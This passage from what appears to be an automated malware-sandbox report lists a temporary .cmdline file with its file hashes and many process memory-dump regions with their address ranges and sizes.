                                                                                      ee11e84cf41d8a43340f7102e17660072906c402

                                                                                      SHA256

                                                                                      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                      SHA512

                                                                                      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\e2ujfjgy\e2ujfjgy.cmdline

                                                                                      Filesize

                                                                                      607B

                                                                                      MD5

                                                                                      1130651340af308e7833b3d7e4572ab6

                                                                                      SHA1

                                                                                      456b07e478456c7d881b44060fc299fa72969932

                                                                                      SHA256

                                                                                      8846dd47e93cd642ee91b7e7293eb6eb000c400b09c17a6e96e17443e0a02413

                                                                                      SHA512

                                                                                      6a4cbcf1e5948a49693f160efe0973b152140226f4ddc1cc551a5b9d6f83361a50c5df1459fa021314485e846f611c9ea58da9cada41e50f63fc3e495357df1d

                                                                                    • memory/1976-215-0x00000270C4D70000-0x00000270C4D78000-memory.dmp

                                                                                      Filesize

                                                                                      32KB

                                                                                    • memory/4376-54-0x00007FF900780000-0x00007FF9007AB000-memory.dmp

                                                                                      Filesize

                                                                                      172KB

                                                                                    • memory/4376-79-0x00007FF900780000-0x00007FF9007AB000-memory.dmp

                                                                                      Filesize

                                                                                      172KB

                                                                                    • memory/4376-74-0x00007FF9017A0000-0x00007FF9017C7000-memory.dmp

                                                                                      Filesize

                                                                                      156KB

                                                                                    • memory/4376-72-0x00000221D25E0000-0x00000221D2B13000-memory.dmp

                                                                                      Filesize

                                                                                      5.2MB

                                                                                    • memory/4376-105-0x00007FF900750000-0x00007FF900775000-memory.dmp

                                                                                      Filesize

                                                                                      148KB

                                                                                    • memory/4376-70-0x00007FF8F8B30000-0x00007FF8F9193000-memory.dmp

                                                                                      Filesize

                                                                                      6.4MB

                                                                                    • memory/4376-71-0x00007FF8FCD60000-0x00007FF8FCE2E000-memory.dmp

                                                                                      Filesize

                                                                                      824KB

                                                                                    • memory/4376-73-0x00007FF8EBBC0000-0x00007FF8EC0F3000-memory.dmp

                                                                                      Filesize

                                                                                      5.2MB

                                                                                    • memory/4376-66-0x00007FF900710000-0x00007FF900744000-memory.dmp

                                                                                      Filesize

                                                                                      208KB

                                                                                    • memory/4376-64-0x00007FF906C60000-0x00007FF906C6D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4376-282-0x00007FF900710000-0x00007FF900744000-memory.dmp

                                                                                      Filesize

                                                                                      208KB

                                                                                    • memory/4376-286-0x00007FF8FCD60000-0x00007FF8FCE2E000-memory.dmp

                                                                                      Filesize

                                                                                      824KB

                                                                                    • memory/4376-287-0x00000221D25E0000-0x00000221D2B13000-memory.dmp

                                                                                      Filesize

                                                                                      5.2MB

                                                                                    • memory/4376-62-0x00007FF906840000-0x00007FF906859000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4376-60-0x00007FF8FD5A0000-0x00007FF8FD71F000-memory.dmp

                                                                                      Filesize

                                                                                      1.5MB

                                                                                    • memory/4376-58-0x00007FF900750000-0x00007FF900775000-memory.dmp

                                                                                      Filesize

                                                                                      148KB

                                                                                    • memory/4376-56-0x00007FF906C90000-0x00007FF906CA9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4376-81-0x00007FF8FCCA0000-0x00007FF8FCD53000-memory.dmp

                                                                                      Filesize

                                                                                      716KB

                                                                                    • memory/4376-32-0x00007FF906CE0000-0x00007FF906CEF000-memory.dmp

                                                                                      Filesize

                                                                                      60KB

                                                                                    • memory/4376-30-0x00007FF9017A0000-0x00007FF9017C7000-memory.dmp

                                                                                      Filesize

                                                                                      156KB

                                                                                    • memory/4376-25-0x00007FF8F8B30000-0x00007FF8F9193000-memory.dmp

                                                                                      Filesize

                                                                                      6.4MB

                                                                                    • memory/4376-109-0x00007FF8FD5A0000-0x00007FF8FD71F000-memory.dmp

                                                                                      Filesize

                                                                                      1.5MB

                                                                                    • memory/4376-350-0x00007FF8EBBC0000-0x00007FF8EC0F3000-memory.dmp

                                                                                      Filesize

                                                                                      5.2MB

                                                                                    • memory/4376-77-0x00007FF9026B0000-0x00007FF9026C4000-memory.dmp

                                                                                      Filesize

                                                                                      80KB

                                                                                    • memory/4376-78-0x00007FF9060F0000-0x00007FF9060FD000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4376-301-0x00007FF8EBBC0000-0x00007FF8EC0F3000-memory.dmp

                                                                                      Filesize

                                                                                      5.2MB

                                                                                    • memory/4376-320-0x00007FF8F8B30000-0x00007FF8F9193000-memory.dmp

                                                                                      Filesize

                                                                                      6.4MB

                                                                                    • memory/4376-326-0x00007FF8FD5A0000-0x00007FF8FD71F000-memory.dmp

                                                                                      Filesize

                                                                                      1.5MB

                                                                                    • memory/4376-334-0x00007FF8FCCA0000-0x00007FF8FCD53000-memory.dmp

                                                                                      Filesize

                                                                                      716KB

                                                                                    • memory/4376-335-0x00007FF8F8B30000-0x00007FF8F9193000-memory.dmp

                                                                                      Filesize

                                                                                      6.4MB

                                                                                    • memory/4376-355-0x00007FF900750000-0x00007FF900775000-memory.dmp

                                                                                      Filesize

                                                                                      148KB

                                                                                    • memory/4376-363-0x00007FF8FCCA0000-0x00007FF8FCD53000-memory.dmp

                                                                                      Filesize

                                                                                      716KB

                                                                                    • memory/4376-362-0x00007FF9060F0000-0x00007FF9060FD000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4376-361-0x00007FF9026B0000-0x00007FF9026C4000-memory.dmp

                                                                                      Filesize

                                                                                      80KB

                                                                                    • memory/4376-360-0x00007FF8FCD60000-0x00007FF8FCE2E000-memory.dmp

                                                                                      Filesize

                                                                                      824KB

                                                                                    • memory/4376-359-0x00007FF900710000-0x00007FF900744000-memory.dmp

                                                                                      Filesize

                                                                                      208KB

                                                                                    • memory/4376-358-0x00007FF906C60000-0x00007FF906C6D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4376-357-0x00007FF906840000-0x00007FF906859000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4376-356-0x00007FF8FD5A0000-0x00007FF8FD71F000-memory.dmp

                                                                                      Filesize

                                                                                      1.5MB

                                                                                    • memory/4376-354-0x00007FF906C90000-0x00007FF906CA9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4376-353-0x00007FF900780000-0x00007FF9007AB000-memory.dmp

                                                                                      Filesize

                                                                                      172KB

                                                                                    • memory/4376-352-0x00007FF906CE0000-0x00007FF906CEF000-memory.dmp

                                                                                      Filesize

                                                                                      60KB

                                                                                    • memory/4376-351-0x00007FF9017A0000-0x00007FF9017C7000-memory.dmp

                                                                                      Filesize

                                                                                      156KB

                                                                                    • memory/4872-88-0x0000028FB1CE0000-0x0000028FB1D02000-memory.dmp

                                                                                      Filesize

                                                                                      136KB